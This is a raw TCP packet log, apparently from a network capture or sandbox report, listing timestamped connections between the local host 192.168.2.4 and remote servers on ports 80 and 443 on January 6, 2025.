Jan 6, 2025 12:14:59.192013025 CET	443	49730	50.19.58.113	192.168.2.4
Jan 6, 2025 12:15:01.923384905 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:01.928251982 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:01.928338051 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:01.929301023 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:01.935197115 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:01.935206890 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:01.935214996 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:01.935224056 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:01.935231924 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:01.935271025 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:01.935305119 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:01.935458899 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:01.935468912 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:01.935477972 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:01.935486078 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:01.935520887 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:01.939980030 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:01.940032959 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:01.940068007 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:01.940078974 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:01.940114975 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:01.940161943 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:01.940171957 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:01.940217018 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:01.940285921 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:01.940296888 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:01.940340996 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:01.984136105 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:01.984366894 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.031799078 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.031903028 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.079601049 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.079664946 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.127345085 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.127398968 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.175353050 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.175443888 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.223361969 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.223433971 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.275350094 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.275553942 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.323345900 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.323421955 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.371360064 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.371515989 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.379472017 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.379592896 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.384459019 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.384469986 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.384514093 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.384548903 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.384558916 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.384582043 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.384592056 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.384603024 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.384632111 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.384706974 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.384716988 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.384725094 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.384754896 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.384784937 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.384789944 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.384800911 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.384856939 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.384896994 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.384906054 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.384943962 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.384951115 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.384973049 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.384989977 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.385008097 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.385016918 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.385051966 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.385066986 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.385102987 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.385103941 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.385143042 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.385154963 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.385185957 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.389367104 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.389421940 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.389432907 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.389467001 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.389476061 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.389480114 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.389530897 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.389558077 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.389583111 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.389695883 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.389724970 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.389734030 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.389744043 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.389801025 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.389842987 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.389853954 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.389889002 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.389900923 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.389923096 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.389935970 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.389981031 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.390001059 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.390011072 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.390052080 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.390063047 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.390093088 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.390098095 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.390105009 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.390142918 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.390158892 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.390176058 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.390186071 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.390196085 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.390212059 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.390230894 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.390249968 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.390264988 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.394397974 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.394449949 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.394469023 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.394494057 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.394517899 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.394537926 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.394546032 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.394582033 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.394670010 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.394678116 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.394707918 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.394757986 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.394818068 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.394819021 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.394866943 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.394870043 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.394880056 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.394921064 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.394965887 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.394974947 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.394998074 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.395006895 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.395015001 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.395040989 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.395045042 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.395057917 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.395062923 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.395091057 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.395106077 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.395112038 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.395122051 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.395163059 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.395169973 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.395179987 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.395231009 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.395247936 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.395257950 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.395298958 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.395323992 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.395333052 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.395349026 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.395356894 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.395370007 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.395379066 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.395381927 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.395387888 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.395405054 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.395415068 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.395423889 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.395428896 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.395454884 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.395464897 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.395482063 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.395492077 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.395523071 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.395530939 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.395533085 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.395555973 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.395565033 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.395576000 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.395602942 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.395606041 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.395612955 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.395634890 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.395643950 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.395658016 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.395664930 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.395673037 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.395680904 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.395688057 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.395695925 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.395718098 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.395731926 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.395741940 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.395744085 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.395750999 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.399322033 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.399331093 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.399375916 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.399390936 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.399400949 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.399416924 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.399455070 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.399755955 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.399764061 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.399801970 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.399811029 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.399866104 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.399874926 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.399905920 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.399918079 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.399930000 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.399962902 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.399971008 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.399981022 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.400008917 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.400022030 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.400034904 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.400049925 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.400094032 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.400130987 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.400175095 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.400177956 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.400224924 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.400254965 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.400264978 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.400279999 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.400289059 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.400305986 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.400329113 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.400342941 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.400352001 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.400367975 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.400377035 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.400394917 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.400413990 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.400456905 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.400465965 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.400504112 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.400506020 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.400512934 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.400544882 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.400563002 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.400569916 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.400573015 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.400605917 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.400614023 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.400614977 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.400625944 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.400635004 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.400654078 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.400674105 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.400698900 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.400708914 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.400748968 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.400791883 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.400801897 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.400816917 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.400842905 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.400855064 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.400859118 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.400904894 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.400930882 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.400939941 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.400954962 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.400963068 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.400979042 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.400985003 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.400989056 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.401012897 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.401073933 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.401082993 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.401091099 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.401108027 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.401115894 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.401133060 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.401140928 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.401149988 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.404745102 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.404761076 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.404771090 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.404820919 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.404829979 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.404846907 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.404855013 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.404891014 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.404906034 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.404942036 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.404953957 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.404963017 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.404966116 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.404970884 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.404979944 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405015945 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405020952 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.405025959 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405035973 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.405049086 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405057907 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405071974 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.405083895 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.405102015 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405107021 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.405112028 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405153036 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.405251026 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405261040 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405268908 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405277014 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405286074 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405294895 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405303001 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405303955 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.405319929 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405338049 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.405340910 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405349016 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405354977 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.405371904 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.405395031 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.405397892 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405407906 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405448914 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.405457973 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405467033 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405478001 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405486107 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405493975 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405502081 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405507088 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.405518055 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405527115 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405534983 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.405559063 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.405633926 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405643940 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405652046 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405659914 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405669928 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405678034 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405714035 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405723095 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405754089 CET	80	49731	34.147.147.173	192.168.2.4
